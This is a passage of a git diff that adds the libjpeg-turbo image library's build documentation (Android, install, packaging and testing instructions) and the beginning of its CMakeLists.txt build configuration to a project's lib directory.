-DANDROID_ABI=arm64-v8a \ + -DANDROID_ARM_MODE=arm \ + -DANDROID_PLATFORM=android-${ANDROID_VERSION} \ + -DANDROID_TOOLCHAIN=${TOOLCHAIN} \ + -DCMAKE_ASM_FLAGS="--target=aarch64-linux-android${ANDROID_VERSION}" \ + -DCMAKE_TOOLCHAIN_FILE=${NDK_PATH}/build/cmake/android.toolchain.cmake \ + [additional CMake flags] {source_directory} + make + + +### x86 (32-bit) + +The following is a general recipe script that can be modified for your specific +needs. + + # Set these variables to suit your needs + NDK_PATH={full path to the NDK directory-- for example, + /opt/android/android-ndk-r16b} + TOOLCHAIN={"gcc" or "clang"-- "gcc" must be used with NDK r14b and earlier, + and "clang" must be used with NDK r17c and later} + ANDROID_VERSION={The minimum version of Android to support-- for example, + "16", "19", etc.} + + cd {build_directory} + cmake -G"Unix Makefiles" \ + -DANDROID_ABI=x86 \ + -DANDROID_PLATFORM=android-${ANDROID_VERSION} \ + -DANDROID_TOOLCHAIN=${TOOLCHAIN} \ + -DCMAKE_TOOLCHAIN_FILE=${NDK_PATH}/build/cmake/android.toolchain.cmake \ + [additional CMake flags] {source_directory} + make + + +### x86-64 (64-bit) + +The following is a general recipe script that can be modified for your specific +needs. + + # Set these variables to suit your needs + NDK_PATH={full path to the NDK directory-- for example, + /opt/android/android-ndk-r16b} + TOOLCHAIN={"gcc" or "clang"-- "gcc" must be used with NDK r14b and earlier, + and "clang" must be used with NDK r17c and later} + ANDROID_VERSION={the minimum version of Android to support. "21" or later + is required for a 64-bit build.} + + cd {build_directory} + cmake -G"Unix Makefiles" \ + -DANDROID_ABI=x86_64 \ + -DANDROID_PLATFORM=android-${ANDROID_VERSION} \ + -DANDROID_TOOLCHAIN=${TOOLCHAIN} \ + -DCMAKE_TOOLCHAIN_FILE=${NDK_PATH}/build/cmake/android.toolchain.cmake \ + [additional CMake flags] {source_directory} + make + + +Advanced CMake Options +---------------------- + +To list and configure other CMake options not specifically mentioned in this +guide, run + + ccmake {source_directory} + +or + + cmake-gui {source_directory} + +from the build directory after initially configuring the build. CCMake is a +text-based interactive version of CMake, and CMake-GUI is a GUI version. Both +will display all variables that are relevant to the libjpeg-turbo build, their +current values, and a help string describing what they do. + + +Installing libjpeg-turbo +======================== + +You can use the build system to install libjpeg-turbo (as opposed to creating +an installer package.) To do this, run `make install` or `nmake install` +(or build the "install" target in the Visual Studio IDE.) Running +`make uninstall` or `nmake uninstall` (or building the "uninstall" target in +the Visual Studio IDE) will uninstall libjpeg-turbo. + +The `CMAKE_INSTALL_PREFIX` CMake variable can be modified in order to install +libjpeg-turbo into a directory of your choosing. If you don't specify +`CMAKE_INSTALL_PREFIX`, then the default is: + +**c:\libjpeg-turbo**
+Visual Studio 32-bit build + +**c:\libjpeg-turbo64**
+Visual Studio 64-bit build + +**c:\libjpeg-turbo-gcc**
+MinGW 32-bit build + +**c:\libjpeg-turbo-gcc64**
+MinGW 64-bit build + +**/opt/libjpeg-turbo**
+Un*x (including Mac and Cygwin) + +The default value of `CMAKE_INSTALL_PREFIX` causes the libjpeg-turbo files to +be installed with a directory structure resembling that of the official +libjpeg-turbo binary packages. Changing the value of `CMAKE_INSTALL_PREFIX` +(for instance, to **/usr/local**) causes the libjpeg-turbo files to be +installed with a directory structure that conforms to GNU standards. + +The `CMAKE_INSTALL_BINDIR`, `CMAKE_INSTALL_DATAROOTDIR`, +`CMAKE_INSTALL_DOCDIR`, `CMAKE_INSTALL_INCLUDEDIR`, `CMAKE_INSTALL_JAVADIR`, +`CMAKE_INSTALL_LIBDIR`, and `CMAKE_INSTALL_MANDIR` CMake variables allow a +finer degree of control over where specific files in the libjpeg-turbo +distribution should be installed. These directory variables can either be +specified as absolute paths or as paths relative to `CMAKE_INSTALL_PREFIX` (for +instance, setting `CMAKE_INSTALL_DOCDIR` to **doc** would cause the +documentation to be installed in **${CMAKE\_INSTALL\_PREFIX}/doc**.) If a +directory variable contains the name of another directory variable in angle +brackets, then its final value will depend on the final value of that other +variable. For instance, the default value of `CMAKE_INSTALL_MANDIR` is +**\/man**. + + +Creating Distribution Packages +============================== + +The following commands can be used to create various types of distribution +packages: + + +Linux +----- + + make rpm + +Create Red Hat-style binary RPM package. Requires RPM v4 or later. + + make srpm + +This runs `make dist` to create a pristine source tarball, then creates a +Red Hat-style source RPM package from the tarball. Requires RPM v4 or later. + + make deb + +Create Debian-style binary package. Requires dpkg. + + +Mac +--- + + make dmg + +Create Mac package/disk image. This requires pkgbuild and productbuild, which +are installed by default on OS X/macOS 10.7 and later. + +In order to create a Mac package/disk image that contains universal +x86-64/Arm binaries, set the following CMake variable: + +* `SECONDARY_BUILD`: Directory containing a cross-compiled x86-64 or Armv8 + (64-bit) iOS or macOS build of libjpeg-turbo to include in the universal + binaries + +You should first use CMake to configure the cross-compiled x86-64 or Armv8 +secondary build of libjpeg-turbo (see "Building libjpeg-turbo for iOS" above, +if applicable) in a build directory that matches the one specified in the +aforementioned CMake variable. Next, configure the primary (native) build of +libjpeg-turbo as an out-of-tree build, specifying the aforementioned CMake +variable, and build it. Once the primary build has been built, run `make dmg` +from the build directory. The packaging system will build the secondary build, +use lipo to combine it with the primary build into a single set of universal +binaries, then package the universal binaries. + + +Windows +------- + +If using NMake: + + cd {build_directory} + nmake installer + +If using MinGW: + + cd {build_directory} + make installer + +If using the Visual Studio IDE, build the "installer" target. + +The installer package (libjpeg-turbo-*{version}*[-gcc|-vc][64].exe) will be +located under *{build_directory}*. If building using the Visual Studio IDE, +then the installer package will be located in a subdirectory with the same name +as the configuration you built (such as *{build_directory}*\Debug\ or +*{build_directory}*\Release\). + +Building a Windows installer requires the +[Nullsoft Install System](https://nsis.sourceforge.io). makensis.exe should +be in your `PATH`. + + +Regression testing +================== + +The most common way to test libjpeg-turbo is by invoking `make test` (Un*x) or +`nmake test` (Windows command line) or by building the "RUN_TESTS" target +(Visual Studio IDE), once the build has completed. This runs a series of tests +to ensure that mathematical compatibility has been maintained between +libjpeg-turbo and libjpeg v6b. This also invokes the TurboJPEG unit tests, +which ensure that the colorspace extensions, YUV encoding, decompression +scaling, and other features of the TurboJPEG C and Java APIs are working +properly (and, by extension, that the equivalent features of the underlying +libjpeg API are also working.) + +Invoking `make testclean` (Un*x) or `nmake testclean` (Windows command line) or +building the "testclean" target (Visual Studio IDE) will clean up the output +images generated by the tests. + +On Un*x platforms, more extensive tests of the TurboJPEG C and Java wrappers +can be run by invoking `make tjtest`, `make tjtest12`, and `make tjtest16`. +These extended TurboJPEG tests essentially iterate through all of the available +features of the TurboJPEG APIs that are not covered by the TurboJPEG unit tests +(including the lossless transform options) and compare the images generated by +each feature to images generated using the equivalent feature in the libjpeg +API. The extended TurboJPEG tests are meant to test for regressions in the +TurboJPEG wrappers, not in the underlying libjpeg API library. diff --git a/lib/libjpeg-turbo/CMakeLists.txt b/lib/libjpeg-turbo/CMakeLists.txt new file mode 100755 index 0000000..7d68d54 --- /dev/null +++ b/lib/libjpeg-turbo/CMakeLists.txt @@ -0,0 +1,1946 @@ +cmake_minimum_required(VERSION 2.8.12...3.28) + +if(CMAKE_EXECUTABLE_SUFFIX) + set(CMAKE_EXECUTABLE_SUFFIX_TMP ${CMAKE_EXECUTABLE_SUFFIX}) +endif() + +set(CMAKE_C_FLAGS_RELEASE_INITIALIZED_TO_DEFAULT 1) +if(CMAKE_C_FLAGS_RELEASE) + set(CMAKE_C_FLAGS_RELEASE_INITIALIZED_TO_DEFAULT 0) +endif() +set(CMAKE_C_FLAGS_RELWITHDEBINFO_INITIALIZED_TO_DEFAULT 1) +if(CMAKE_C_FLAGS_RELWITHDEBINFO) + set(CMAKE_C_FLAGS_RELWITHDEBINFO_INITIALIZED_TO_DEFAULT 0) +endif() + +project(libjpeg-turbo C) +set(VERSION 3.1.4) +set(COPYRIGHT_YEAR "1991-2026") +string(REPLACE "." ";" VERSION_TRIPLET ${VERSION}) +list(GET VERSION_TRIPLET 0 VERSION_MAJOR) +list(GET VERSION_TRIPLET 1 VERSION_MINOR) +list(GET VERSION_TRIPLET 2 VERSION_REVISION) +function(pad_number NUMBER OUTPUT_LEN) + string(LENGTH "${${NUMBER}}" INPUT_LEN) + if(INPUT_LEN LESS OUTPUT_LEN) + math(EXPR ZEROES "${OUTPUT_LEN} - ${INPUT_LEN} - 1") + set(NUM ${${NUMBER}}) + foreach(C RANGE ${ZEROES}) + set(NUM "0${NUM}") + endforeach() + set(${NUMBER} ${NUM} PARENT_SCOPE) + endif() +endfunction() +set(TMP_VERSION_MINOR ${VERSION_MINOR}) +set(TMP_VERSION_REVISION ${VERSION_REVISION}) +pad_number(TMP_VERSION_MINOR 3) +pad_number(TMP_VERSION_REVISION 3) +set(LIBJPEG_TURBO_VERSION_NUMBER + ${VERSION_MAJOR}${TMP_VERSION_MINOR}${TMP_VERSION_REVISION}) +set(MSVC_LIKE 0) +if(MSVC OR CMAKE_C_SIMULATE_ID STREQUAL "MSVC") + set(MSVC_LIKE 1) +endif() + +# The libjpeg-turbo build system has never supported and will never support +# being integrated into another build system using add_subdirectory(), because +# doing so would require that we (minimally): +# +# 1. avoid using certain CMake variables, such as CMAKE_SOURCE_DIR, +# CMAKE_BINARY_DIR, and CMAKE_PROJECT_NAME; +# 2. avoid using implicit include directories and relative paths; +# 3. optionally provide a way to skip the installation of libjpeg-turbo +# components when the 'install' target is built; +# 4. optionally provide a way to postfix target names, to avoid namespace +# conflicts; +# 5. restructure the top-level CMakeLists.txt so that it properly sets the +# PROJECT_VERSION variable; and +# 6. design automated regression tests to ensure that new commits don't break +# any of the above. +# +# Even if we did all of that, issues would still arise, because it is +# impossible for an upstream build system to anticipate the widely varying +# needs of every downstream build system. That's why the CMake +# ExternalProject_Add() function exists. Downstream projects that wish to +# integrate libjpeg-turbo as a subdirectory should either use +# ExternalProject_Add() or make downstream modifications to the libjpeg-turbo +# build system to suit their specific needs. Please do not file bug reports, +# feature requests, or pull requests regarding this. +if(NOT CMAKE_SOURCE_DIR STREQUAL CMAKE_CURRENT_SOURCE_DIR) + message(FATAL_ERROR "The libjpeg-turbo build system cannot be integrated into another build system using add_subdirectory(). Use ExternalProject_Add() instead.") +endif() + +# CMake 3.14 and later sets CMAKE_MACOSX_BUNDLE to TRUE by default when +# CMAKE_SYSTEM_NAME is iOS, tvOS, or watchOS, which breaks the libjpeg-turbo +# build. (Specifically, when CMAKE_MACOSX_BUNDLE is TRUE, executables for +# Apple platforms are built as application bundles, which causes CMake to +# complain that our install() directives for executables do not specify a +# BUNDLE DESTINATION. Even if CMake did not complain, building executables as +# application bundles would break our iOS packages.) +set(CMAKE_MACOSX_BUNDLE FALSE) + +get_property(GENERATOR_IS_MULTI_CONFIG GLOBAL PROPERTY + GENERATOR_IS_MULTI_CONFIG) +# If the GENERATOR_IS_MULTI_CONFIG property doesn't exist (CMake < 3.9), then +# set the GENERATOR_IS_MULTI_CONFIG variable manually if the generator is +# Visual Studio or Xcode (the only multi-config generators in CMake < 3.9). +if(NOT GENERATOR_IS_MULTI_CONFIG AND (MSVC_IDE OR XCODE)) + set(GENERATOR_IS_MULTI_CONFIG TRUE) +endif() + +string(TIMESTAMP DEFAULT_BUILD "%Y%m%d") +set(BUILD ${DEFAULT_BUILD} CACHE STRING "Build string (default: ${DEFAULT_BUILD})") + +# NOTE: On Windows, this does nothing except when using MinGW or Cygwin. +# CMAKE_BUILD_TYPE has no meaning in Visual Studio, and it always defaults to +# Debug when using NMake. +if(NOT CMAKE_BUILD_TYPE) + set(CMAKE_BUILD_TYPE Release) +endif() +message(STATUS "CMAKE_BUILD_TYPE = ${CMAKE_BUILD_TYPE}") + +message(STATUS "VERSION = ${VERSION}, BUILD = ${BUILD}") + +include(cmakescripts/PackageInfo.cmake) + +# Detect CPU type and whether we're building 64-bit or 32-bit code +math(EXPR BITS "${CMAKE_SIZEOF_VOID_P} * 8") +string(TOLOWER ${CMAKE_SYSTEM_PROCESSOR} CMAKE_SYSTEM_PROCESSOR_LC) +set(COUNT 1) +foreach(ARCH ${CMAKE_OSX_ARCHITECTURES}) + if(COUNT GREATER 1) + message(FATAL_ERROR "libjpeg-turbo contains assembly code, so it cannot be built with multiple values in CMAKE_OSX_ARCHITECTURES.") + endif() + math(EXPR COUNT "${COUNT}+1") +endforeach() +if(CMAKE_SYSTEM_PROCESSOR_LC MATCHES "x86_64" OR + CMAKE_SYSTEM_PROCESSOR_LC MATCHES "amd64" OR + CMAKE_SYSTEM_PROCESSOR_LC MATCHES "i[0-9]86" OR + CMAKE_SYSTEM_PROCESSOR_LC MATCHES "x86" OR + CMAKE_SYSTEM_PROCESSOR_LC MATCHES "ia32") + if(BITS EQUAL 64 OR CMAKE_C_COMPILER_ABI MATCHES "ELF X32") + set(CPU_TYPE x86_64) + else() + set(CPU_TYPE i386) + endif() + if(NOT CMAKE_SYSTEM_PROCESSOR STREQUAL ${CPU_TYPE}) + set(CMAKE_SYSTEM_PROCESSOR ${CPU_TYPE}) + endif() +elseif(CMAKE_SYSTEM_PROCESSOR_LC STREQUAL "aarch64" OR + CMAKE_SYSTEM_PROCESSOR_LC MATCHES "^arm") + if(BITS EQUAL 64) + set(CPU_TYPE arm64) + else() + set(CPU_TYPE arm) + endif() +elseif(CMAKE_SYSTEM_PROCESSOR_LC MATCHES "^ppc" OR + CMAKE_SYSTEM_PROCESSOR_LC MATCHES "^powerpc") + set(CPU_TYPE powerpc) +else() + set(CPU_TYPE ${CMAKE_SYSTEM_PROCESSOR_LC}) +endif() +if(CMAKE_OSX_ARCHITECTURES MATCHES "x86_64" OR + CMAKE_OSX_ARCHITECTURES MATCHES "arm64" OR + CMAKE_OSX_ARCHITECTURES MATCHES "i386") + set(CPU_TYPE ${CMAKE_OSX_ARCHITECTURES}) +endif() +if(CMAKE_OSX_ARCHITECTURES MATCHES "ppc") + set(CPU_TYPE powerpc) +endif() +if(MSVC_IDE AND CMAKE_GENERATOR_PLATFORM MATCHES "arm64") + set(CPU_TYPE arm64) +endif() + +message(STATUS "${BITS}-bit build (${CPU_TYPE})") + + +############################################################################### +# INSTALL DIRECTORIES +############################################################################### + +if(WIN32) + if(MSVC_LIKE) + set(CMAKE_INSTALL_DEFAULT_PREFIX "c:/${CMAKE_PROJECT_NAME}") + else() + set(CMAKE_INSTALL_DEFAULT_PREFIX "c:/${CMAKE_PROJECT_NAME}-gcc") + endif() + if(BITS EQUAL 64) + set(CMAKE_INSTALL_DEFAULT_PREFIX "${CMAKE_INSTALL_DEFAULT_PREFIX}64") + endif() +else() + if(NOT CMAKE_INSTALL_DEFAULT_PREFIX) + set(CMAKE_INSTALL_DEFAULT_PREFIX /opt/${CMAKE_PROJECT_NAME}) + endif() +endif() +if(CMAKE_INSTALL_PREFIX_INITIALIZED_TO_DEFAULT) + set(CMAKE_INSTALL_PREFIX "${CMAKE_INSTALL_DEFAULT_PREFIX}" CACHE PATH + "Directory into which to install ${CMAKE_PROJECT_NAME} (default: ${CMAKE_INSTALL_DEFAULT_PREFIX})" + FORCE) +endif() +message(STATUS "CMAKE_INSTALL_PREFIX = ${CMAKE_INSTALL_PREFIX}") + +# When the prefix is /opt/${CMAKE_PROJECT_NAME}, we assume that an "official" +# build is being created, and thus we install things into specific locations. + +if(CMAKE_INSTALL_PREFIX STREQUAL "${CMAKE_INSTALL_DEFAULT_PREFIX}") + set(CMAKE_INSTALL_DEFAULT_DATAROOTDIR "") + set(CMAKE_INSTALL_DEFAULT_DOCDIR "/doc") + set(CMAKE_INSTALL_DEFAULT_JAVADIR "/classes") + if(UNIX AND NOT APPLE) + if(BITS EQUAL 64) + set(CMAKE_INSTALL_DEFAULT_LIBDIR "lib64") + elseif(CMAKE_C_COMPILER_ABI MATCHES "ELF X32") + set(CMAKE_INSTALL_DEFAULT_LIBDIR "libx32") + else() + set(CMAKE_INSTALL_DEFAULT_LIBDIR "lib32") + endif() + endif() +endif() + +include(cmakescripts/GNUInstallDirs.cmake) + +macro(report_directory var) + if(CMAKE_INSTALL_${var} STREQUAL CMAKE_INSTALL_FULL_${var}) + message(STATUS "CMAKE_INSTALL_${var} = ${CMAKE_INSTALL_${var}}") + else() + message(STATUS "CMAKE_INSTALL_${var} = ${CMAKE_INSTALL_${var}} (${CMAKE_INSTALL_FULL_${var}})") + endif() + mark_as_advanced(CLEAR CMAKE_INSTALL_${var}) +endmacro() + +set(DIRLIST "BINDIR;DATAROOTDIR;DOCDIR;INCLUDEDIR;LIBDIR") +if(UNIX) + list(APPEND DIRLIST "MANDIR") +endif() +foreach(dir ${DIRLIST}) + report_directory(${dir}) +endforeach() + + +############################################################################### +# CONFIGURATION OPTIONS +############################################################################### + +macro(boolean_number var) + if(${var}) + set(${var} 1 ${ARGN}) + else() + set(${var} 0 ${ARGN}) + endif() +endmacro() + +option(ENABLE_SHARED "Build shared libraries" TRUE) +boolean_number(ENABLE_SHARED) +option(ENABLE_STATIC "Build static libraries" TRUE) +boolean_number(ENABLE_STATIC) +option(REQUIRE_SIMD + "Generate a fatal error if SIMD extensions are not available for this platform (default is to fall back to a non-SIMD build)" + FALSE) +boolean_number(REQUIRE_SIMD) +option(WITH_ARITH_DEC + "Include arithmetic decoding support when emulating the libjpeg v6b API/ABI" + TRUE) +boolean_number(WITH_ARITH_DEC) +option(WITH_ARITH_ENC + "Include arithmetic encoding support when emulating the libjpeg v6b API/ABI" + TRUE) +boolean_number(WITH_ARITH_ENC) +if(CMAKE_C_COMPILER_ABI MATCHES "ELF X32") + set(WITH_JAVA 0) +else() + option(WITH_JAVA + "Build Java wrapper for the TurboJPEG API library (implies ENABLE_SHARED=1)" + FALSE) + boolean_number(WITH_JAVA) +endif() +option(WITH_JPEG7 + "Emulate libjpeg v7 API/ABI (this makes ${CMAKE_PROJECT_NAME} backward-incompatible with libjpeg v6b)" + FALSE) +boolean_number(WITH_JPEG7) +option(WITH_JPEG8 + "Emulate libjpeg v8 API/ABI (this makes ${CMAKE_PROJECT_NAME} backward-incompatible with libjpeg v6b)" + FALSE) +boolean_number(WITH_JPEG8) +option(WITH_SIMD "Include SIMD extensions, if available for this platform" + TRUE) +boolean_number(WITH_SIMD) +option(WITH_TURBOJPEG + "Include the TurboJPEG API library and associated command-line tools/test programs" + TRUE) +boolean_number(WITH_TURBOJPEG) +option(WITH_TOOLS + "Build command-line tools (Disabling this disables WITH_TESTS)" TRUE) +boolean_number(WITH_TOOLS) +option(WITH_TESTS "Enable regression tests, and build associated test programs (WARNING: Disable this at your own risk. If a build is not validated with the regression tests, then it is the responsibility of the builder to ensure, via other means, that the build produces mathematically correct results.)" + TRUE) +boolean_number(WITH_TESTS) +if(NOT WITH_TOOLS) + set(WITH_TESTS 0) +endif() +option(WITH_FUZZ "Build fuzz targets" FALSE) + +macro(report_option var desc) + if(${var}) + message(STATUS "${desc} enabled (${var} = ${${var}})") + else() + message(STATUS "${desc} disabled (${var} = ${${var}})") + endif() +endmacro() + +if(WITH_JAVA) + set(ENABLE_SHARED 1) +endif() + +# Explicitly setting CMAKE_POSITION_INDEPENDENT_CODE=FALSE disables PIC for all +# targets, which will cause the shared library builds to fail. Thus, if shared +# libraries are enabled and CMAKE_POSITION_INDEPENDENT_CODE is explicitly set +# to FALSE, we need to unset it, thus restoring the default behavior +# (automatically using PIC for shared library targets.) +if(DEFINED CMAKE_POSITION_INDEPENDENT_CODE AND + NOT CMAKE_POSITION_INDEPENDENT_CODE AND ENABLE_SHARED) + unset(CMAKE_POSITION_INDEPENDENT_CODE CACHE) +endif() + +report_option(ENABLE_SHARED "Shared libraries") +report_option(ENABLE_STATIC "Static libraries") + +if(ENABLE_SHARED) + set(CMAKE_INSTALL_RPATH ${CMAKE_INSTALL_FULL_LIBDIR}) +endif() + +if(WITH_JPEG8 OR WITH_JPEG7) + set(WITH_ARITH_ENC 1) + set(WITH_ARITH_DEC 1) +endif() + +if(WITH_ARITH_DEC) + set(D_ARITH_CODING_SUPPORTED 1) +endif() +report_option(WITH_ARITH_DEC "Arithmetic decoding support") + +if(WITH_ARITH_ENC) + set(C_ARITH_CODING_SUPPORTED 1) +endif() +report_option(WITH_ARITH_ENC "Arithmetic encoding support") + +report_option(WITH_TURBOJPEG "TurboJPEG API library") +report_option(WITH_JAVA "TurboJPEG Java wrapper") +report_option(WITH_TOOLS "Command-line tools") +report_option(WITH_TESTS "Regression tests") + +if(NOT WITH_JPEG8) + set(MEM_SRCDST_FUNCTIONS "global: jpeg_mem_dest; jpeg_mem_src;") +endif() + +# 0: Original libjpeg v6b/v7/v8 API/ABI +# +# libjpeg v6b/v7 API/ABI emulation: +# 1: + In-memory source/destination managers (libjpeg-turbo 1.3.x) +# 2: + Partial image decompression functions (libjpeg-turbo 1.5.x) +# 3: + ICC functions (libjpeg-turbo 2.0.x) +# 4: + 12-bit-per-sample and lossless functions (libjpeg-turbo 3.0.x) +# +# libjpeg v8 API/ABI emulation: +# 1: + Partial image decompression functions (libjpeg-turbo 1.5.x) +# 2: + ICC functions (libjpeg-turbo 2.0.x) +# 3: + 12-bit-per-sample and lossless functions (libjpeg-turbo 3.0.x) +set(SO_AGE 3) +if(NOT WITH_JPEG8) + set(SO_AGE 4) +endif() + +if(WITH_JPEG8) + set(JPEG_LIB_VERSION 80) +elseif(WITH_JPEG7) + set(JPEG_LIB_VERSION 70) +else() + set(JPEG_LIB_VERSION 62) +endif() + +math(EXPR JPEG_LIB_VERSION_DIV10 "${JPEG_LIB_VERSION} / 10") +math(EXPR JPEG_LIB_VERSION_MOD10 "${JPEG_LIB_VERSION} % 10") +if(JPEG_LIB_VERSION STREQUAL "62") + set(DEFAULT_SO_MAJOR_VERSION ${JPEG_LIB_VERSION}) +else() + set(DEFAULT_SO_MAJOR_VERSION ${JPEG_LIB_VERSION_DIV10}) +endif() +if(JPEG_LIB_VERSION STREQUAL "80") + set(DEFAULT_SO_MINOR_VERSION 2) +else() + set(DEFAULT_SO_MINOR_VERSION 0) +endif() + +# This causes SO_MAJOR_VERSION/SO_MINOR_VERSION to reset to defaults if +# WITH_JPEG7 or WITH_JPEG8 has changed. +if((DEFINED WITH_JPEG7_INT AND NOT WITH_JPEG7 EQUAL WITH_JPEG7_INT) OR + (DEFINED WITH_JPEG8_INT AND NOT WITH_JPEG8 EQUAL WITH_JPEG8_INT)) + set(FORCE_SO_VERSION "FORCE") +endif() +set(WITH_JPEG7_INT ${WITH_JPEG7} CACHE INTERNAL "") +set(WITH_JPEG8_INT ${WITH_JPEG8} CACHE INTERNAL "") + +set(SO_MAJOR_VERSION ${DEFAULT_SO_MAJOR_VERSION} CACHE STRING + "Major version of the libjpeg API shared library (default: ${DEFAULT_SO_MAJOR_VERSION})" + ${FORCE_SO_VERSION}) +set(SO_MINOR_VERSION ${DEFAULT_SO_MINOR_VERSION} CACHE STRING + "Minor version of the libjpeg API shared library (default: ${DEFAULT_SO_MINOR_VERSION})" + ${FORCE_SO_VERSION}) + +set(JPEG_LIB_VERSION_DECIMAL "${JPEG_LIB_VERSION_DIV10}.${JPEG_LIB_VERSION_MOD10}") +message(STATUS "Emulating libjpeg API/ABI v${JPEG_LIB_VERSION_DECIMAL} (WITH_JPEG7 = ${WITH_JPEG7}, WITH_JPEG8 = ${WITH_JPEG8})") +message(STATUS "libjpeg API shared library version = ${SO_MAJOR_VERSION}.${SO_AGE}.${SO_MINOR_VERSION}") + +# Because the TurboJPEG API library uses versioned symbols and changes the +# names of functions whenever they are modified in a backward-incompatible +# manner, it is always backward-ABI-compatible with itself, so the major and +# minor SO versions don't change. However, we increase the middle number (the +# SO "age") whenever functions are added to the API, because adding functions +# affects forward API/ABI compatibility. +set(TURBOJPEG_SO_MAJOR_VERSION 0) +# 0: TurboJPEG 1.3.x API +# 1: TurboJPEG 1.4.x API +# The TurboJPEG 1.5.x API modified some of the function prototypes, adding +# the const keyword in front of pointers to unmodified buffers, but that did +# not affect forward API/ABI compatibility. +# 2: TurboJPEG 2.0.x API +# The TurboJPEG 2.1.x API modified the behavior of the tjDecompressHeader3() +# function so that it accepts "abbreviated table specification" (AKA +# "tables-only") datastreams as well as JPEG images, but that did not affect +# forward API/ABI compatibility. +# 3: TurboJPEG 3.0.x API +# 4: TurboJPEG 3.1.x API +set(TURBOJPEG_SO_AGE 4) +set(TURBOJPEG_SO_VERSION 0.${TURBOJPEG_SO_AGE}.0) + + +############################################################################### +# COMPILER SETTINGS +############################################################################### + +string(TOUPPER ${CMAKE_BUILD_TYPE} CMAKE_BUILD_TYPE_UC) + +if(MSVC_LIKE) + option(WITH_CRT_DLL + "Link all ${CMAKE_PROJECT_NAME} libraries and executables with the C run-time DLL (msvcr*.dll) instead of the static C run-time library (libcmt*.lib.) The default is to use the C run-time DLL only with the libraries and executables that need it." + FALSE) + boolean_number(WITH_CRT_DLL) + if(NOT WITH_CRT_DLL) + # Use the static C library for all build types + if(CMAKE_VERSION VERSION_EQUAL "3.15" OR + CMAKE_VERSION VERSION_GREATER "3.15") + if(CMAKE_BUILD_TYPE_UC STREQUAL "DEBUG") + set(CMAKE_MSVC_RUNTIME_LIBRARY MultiThreadedDebug) + elseif(MSVC_IDE) + set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreaded$<$:Debug>") + else() + set(CMAKE_MSVC_RUNTIME_LIBRARY MultiThreaded) + endif() + message(STATUS "Visual C++ run-time library: ${CMAKE_MSVC_RUNTIME_LIBRARY} (WITH_CRT_DLL = ${WITH_CRT_DLL})") + elseif(MSVC) + foreach(var CMAKE_C_FLAGS CMAKE_C_FLAGS_DEBUG CMAKE_C_FLAGS_RELEASE + CMAKE_C_FLAGS_MINSIZEREL CMAKE_C_FLAGS_RELWITHDEBINFO) + if(${var} MATCHES "/MD") + string(REGEX REPLACE "/MD" "/MT" ${var} "${${var}}") + endif() + endforeach() + endif() + endif() + add_definitions(-D_CRT_NONSTDC_NO_WARNINGS) +endif() + +if(CMAKE_COMPILER_IS_GNUCC OR CMAKE_C_COMPILER_ID MATCHES "Clang") + # Use the maximum optimization level for release builds + foreach(build_type RELEASE RELWITHDEBINFO) + if(CMAKE_C_FLAGS_${build_type} MATCHES "-O2" AND + CMAKE_C_FLAGS_${build_type}_INITIALIZED_TO_DEFAULT) + string(REGEX REPLACE "-O2" "-O3" CMAKE_C_FLAGS_${build_type} + "${CMAKE_C_FLAGS_${build_type}}") + endif() + endforeach() +endif() + +if(CMAKE_SYSTEM_NAME STREQUAL "SunOS") + if(CMAKE_C_COMPILER_ID MATCHES "SunPro") + # Use the maximum optimization level for release builds + foreach(build_type RELEASE RELWITHDEBINFO) + if(CMAKE_C_FLAGS_${build_type} MATCHES "-xO3" AND + CMAKE_C_FLAGS_${build_type}_INITIALIZED_TO_DEFAULT) + string(REGEX REPLACE "-xO3" "-xO5" CMAKE_C_FLAGS_${build_type} + "${CMAKE_C_FLAGS_${build_type}}") + endif() + if(CMAKE_C_FLAGS_${build_type} MATCHES "-xO2" AND + CMAKE_C_FLAGS_${build_type}_INITIALIZED_TO_DEFAULT) + string(REGEX REPLACE "-xO2" "-xO5" CMAKE_C_FLAGS_${build_type} + "${CMAKE_C_FLAGS_${build_type}}") + endif() + endforeach() + endif() +endif() + +set(EFFECTIVE_C_FLAGS "${CMAKE_C_FLAGS} ${CMAKE_C_FLAGS_${CMAKE_BUILD_TYPE_UC}}") +message(STATUS "Compiler flags = ${EFFECTIVE_C_FLAGS}") + +set(EFFECTIVE_LD_FLAGS "${CMAKE_EXE_LINKER_FLAGS} ${CMAKE_EXE_LINKER_FLAGS_${CMAKE_BUILD_TYPE_UC}}") +message(STATUS "Linker flags = ${EFFECTIVE_LD_FLAGS}") + +include(CheckCSourceCompiles) +include(CheckIncludeFiles) +include(CheckTypeSize) + +check_type_size("size_t" SIZE_T) +check_type_size("unsigned long" UNSIGNED_LONG) + +if(SIZE_T EQUAL UNSIGNED_LONG) + check_c_source_compiles("int main(int argc, char **argv) { unsigned long a = argc; return __builtin_ctzl(a); }" + HAVE_BUILTIN_CTZL) +endif() +if(MSVC_LIKE) + check_include_files("intrin.h" HAVE_INTRIN_H) +endif() + +if(UNIX) + if(CMAKE_CROSSCOMPILING) + set(RIGHT_SHIFT_IS_UNSIGNED 0) + else() + include(CheckCSourceRuns) + check_c_source_runs(" + #include + #include + static int is_shifting_signed (long arg) { + long res = arg >> 4; + if (res == -0x7F7E80CL) + return 1; /* right shift is signed */ + /* see if unsigned-shift hack will fix it. */ + /* we can't just test exact value since it depends on width of long... */ + res |= 0xFFFFFFFFL << (32-4); + if (res == -0x7F7E80CL) + return 0; /* right shift is unsigned */ + printf(\"Right shift isn't acting as I expect it to.\\\\n\"); + printf(\"I fear the JPEG software will not work at all.\\\\n\\\\n\"); + return 0; /* try it with unsigned anyway */ + } + int main (void) { + exit(is_shifting_signed(-0x7F7E80B1L)); + }" RIGHT_SHIFT_IS_UNSIGNED) + endif() +endif() + +if(NOT WIN32) + check_c_source_compiles("extern const int table[1]; const int __attribute__((visibility(\"hidden\"))) table[1] = { 0 }; int main(void) { return table[0]; }" + HIDDEN_WORKS) + if(HIDDEN_WORKS) + set(HIDDEN "__attribute__((visibility(\"hidden\")))") + message(STATUS "HIDDEN = ${HIDDEN}") + endif() +endif() + +if(MSVC) + set(INLINE_OPTIONS "__inline;inline") +else() + set(INLINE_OPTIONS "__inline__;inline") +endif() +option(FORCE_INLINE "Force function inlining" TRUE) +boolean_number(FORCE_INLINE) +if(FORCE_INLINE) + if(MSVC) + list(INSERT INLINE_OPTIONS 0 "__forceinline") + else() + list(INSERT INLINE_OPTIONS 0 "inline __attribute__((always_inline))") + list(INSERT INLINE_OPTIONS 0 "__inline__ __attribute__((always_inline))") + endif() +endif() +foreach(inline ${INLINE_OPTIONS}) + check_c_source_compiles("${inline} static int foo(void) { return 0; } int 